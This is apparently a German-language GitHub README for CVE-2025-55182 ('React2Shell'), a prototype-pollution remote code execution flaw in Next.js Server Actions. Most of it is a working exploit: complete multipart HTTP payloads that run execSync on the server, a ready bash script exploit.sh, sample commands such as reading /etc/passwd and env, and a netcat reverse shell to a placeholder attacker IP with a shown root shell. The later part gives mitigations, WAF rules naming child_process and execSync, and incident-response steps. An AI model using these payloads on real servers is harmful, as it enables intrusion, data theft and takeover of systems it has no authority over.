yannisduvignau/react2shell-exploitCVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Sicherheitslücke, die Next.js-Anwendungen betrifft, die React Server Components (RSC) und Server Actions verwenden.
⚠️ Haftungsausschluss: Diese Dokumentation dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Die unbefugte Nutzung dieser Techniken gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast, ist illegal.
CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Schwachstelle, die Next.js-Anwendungen betrifft, die Folgendes verwenden:
Ein Angreifer kann eine auf dem Server erreichen, indem er Folgendes ausnutzt:
__proto__ und constructorKonsequenz: Beliebige Systembefehle können mit den Rechten des Node.js-Prozesses ausgeführt werden.
Next.js verwendet ein eigenes Multipart/Form-Data-Protokoll für die Kommunikation zwischen Client und Server:
Client (Browser)
↓
[Multipart/Form-Data RSC-Nutzlast]
↓
Next.js-Server
↓
Deserialisierung + Ausführung
↓
Antwort
Die Schwachstelle besteht, weil:
__proto__, constructor)Ein Angreifer kann eine Nutzlast erstellen, die interne Objekt-Eigenschaften verändert:
{
"then": "$1:__proto__:then", // Zielt auf die Prototypenkette
"_response": {
"_prefix": "bösartiger Code hier" // Code-Injektion
}
}
Durch Ausnutzung von __proto__ verschmutzt der Angreifer den Prototyp von JavaScript-Objekten und wirkt sich so auf alle Objekte aus, die davon erben.
Im Feld _prefix injiziert der Angreifer JavaScript-Code, der:
process.mainModule.require()child_process lädtexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
Das Befehlsergebnis wird in der Fehlerantwort versteckt:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js gibt diesen Fehler an den Client zurück, und die Befehlsausgabe ist im Feld digest sichtbar.
# PoC klonen
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Node.js 20 installieren
nvm install 20
nvm use 20
# Abhängigkeiten installieren
cd test-server
npm install
npm run dev
Der Server ist nun erreichbar unter:
http://localhost:3000
curl http://localhost:3000/
Zu diesem Zeitpunkt verhält sich der Server normal.
http://localhost:3000/ aufrufenEine GET-Anfrage wird abgefangen. Sende sie zum Tab Repeater:
Ersetze die gesamte Anfrage durch folgende Nutzlast:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Klicke Send
Erstelle eine Datei exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Nutzlast erstellen
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Befehl ersetzen
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Anfrage senden
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Ausführbar machen:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Um vollständigen interaktiven Shell-Zugriff zu erhalten, verwende eine Reverse Shell.
ncat -lvnp 9009
Oder mit netcat:
nc -lvnp 9009
Ändere die Nutzlast mit folgendem Befehl (ersetze <ATTACKER_IP> durch deine IP-Adresse):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
Die vollständige Nutzlast wird zu:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Du hast jetzt eine vollständig interaktive Shell auf dem Zielserver.
Bei erfolgreicher Ausnutzung:
digest innerhalb der Fehlerantwort eingebettetError: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
Stelle sicher, dass du eine gepatchte Version von Next.js verwendest. Überprüfe die offiziellen Sicherheitshinweise.
Füge eine strenge Validierung eingehender RSC-Nutzlasten hinzu:
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// Verdächtige Nutzlasten ablehnen
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// Nutzlasten mit gefährlichen Mustern blockieren
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[SICHERHEIT] Bösartiger Nutzlastversuch von ${request.ip}`);
return new NextResponse('Verboten', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
In next.config.js:
module.exports = {
experimental: {
serverActions: {
enabled: false // Deaktivieren, falls nicht benötigt
}
}
};
# Einen dedizierten Benutzer anlegen
useradd -r -s /bin/false nextjs
# Den Dienst unter diesem Benutzer ausführen
sudo -u nextjs node server.js
# Oder mit systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
Docker mit eingeschränkten Fähigkeiten verwenden:
FROM node:20-alpine
# Nicht-Root-Benutzer anlegen
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
Container mit eingeschränkten Fähigkeiten ausführen:
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
Umfassende Protokollierung implementieren:
// Benutzerdefinierte Protokollierungs-Middleware
app.use((req, res, next) => {
// Alle POST-Anfragen mit Next-Action-Header protokollieren
if (req.method === 'POST' && req.headers['next-action']) {
const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
if (isSuspicious) {
console.error(`[SICHERHEITSALARM] Exploit-Versuch von ${req.ip} erkannt`);
console.error(`[SICHERHEITSALARM] User-Agent: ${req.get('user-agent')}`);
console.error(`[SICHERHEITSALARM] Nutzlast: ${bodyString.substring(0, 500)}`);
// Sicherheitsteam benachrichtigen
// sendSecurityAlert(`Exploit-Versuch von ${req.ip}`);
return res.status(403).json({ error: 'Verboten' });
}
}
next();
});
Konfiguriere deine WAF so, dass Folgendes blockiert wird:
ModSecurity-Regeln:
# __proto__ im Anforderungstext blockieren
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'Prototyp-Verschmutzungsangriff'"
# constructor im Anforderungstext blockieren
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'Prototyp-Verschmutzungsangriff'"
# Zugriff auf child_process-Modul blockieren
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'Code-Ausführungsversuch'"
# execSync-Funktion blockieren
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'Code-Ausführungsversuch'"
# require()-Anweisungen blockieren
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'Modul-Ladeversuch'"
AWS WAF-Beispiel:
{
"Name": "BlockRCEAttempts",
"Rules": [
{
"Name": "BlockProtoPollution",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
"PositionalConstraint": "CONTAINS",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BlockProtoPollution"
}
}
]
}
Obwohl CSP hauptsächlich clientseitig schützt, ist es eine bewährte Praxis:
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
# Abhängigkeiten auf Schwachstellen scannen
npm audit
npm audit fix
# Snyk für kontinuierliche Überwachung verwenden
snyk monitor
# Regelmäßige Penetrationstests
// Vierteljährliche Sicherheitsbewertungen planen
Bei Verdacht auf Ausnutzung:
# 1. Protokolle auf verdächtige Muster prüfen
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. Prozesshistorie prüfen
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. Netzwerkverbindungen prüfen
netstat -tuln
lsof -i -P -n
# 4. Betroffenes System isolieren
sudo iptables -I INPUT -j DROP
# 5. Beweise und Protokolle sichern
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
# 6. Sicherheitsteam benachrichtigen und Patches einspielen
{
// Schritt 1: Auf die Prototypenkette zielen
"then": "$1:__proto__:then",
// Schritt 2: Als aufgelöstes Modell markieren
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// Schritt 3: Code über _response injizieren
"_response": {
// Der injizierte JavaScript-Code
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// Referenz auf Formulardaten
"_chunks": "$Q2",
// Zugriff auf constructor über Formulardaten
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
$1 werden in andere Formularfelder aufgelöst__proto__-Pfad verändert den Objekt-Prototypen_prefix wird während der Fehlerbehandlung ausgewertetexecSync führt den beliebigen Befehl ausCVE-2025-55182 (React2Shell) zeigt kritische Risiken im Zusammenhang mit:
✅ Unsicherer Deserialisierung benutzergesteuerter Daten ✅ Prototyp-Verschmutzung in JavaScript-Prototyp-Ketten ✅ Dynamischer Code-Ausführung ohne ordnungsgemäße Validierung
Diese Schwachstelle unterstreicht die Bedeutung von:
Lizenz: Nur für Bildungszwecke – Unbefugter Zugriff auf Computersysteme ist illegal.
Stelle für legitime Sicherheitsforschung und autorisierte Tests sicher, dass du eine schriftliche Genehmigung des Systembesitzers hast, bevor du Tests durchführst.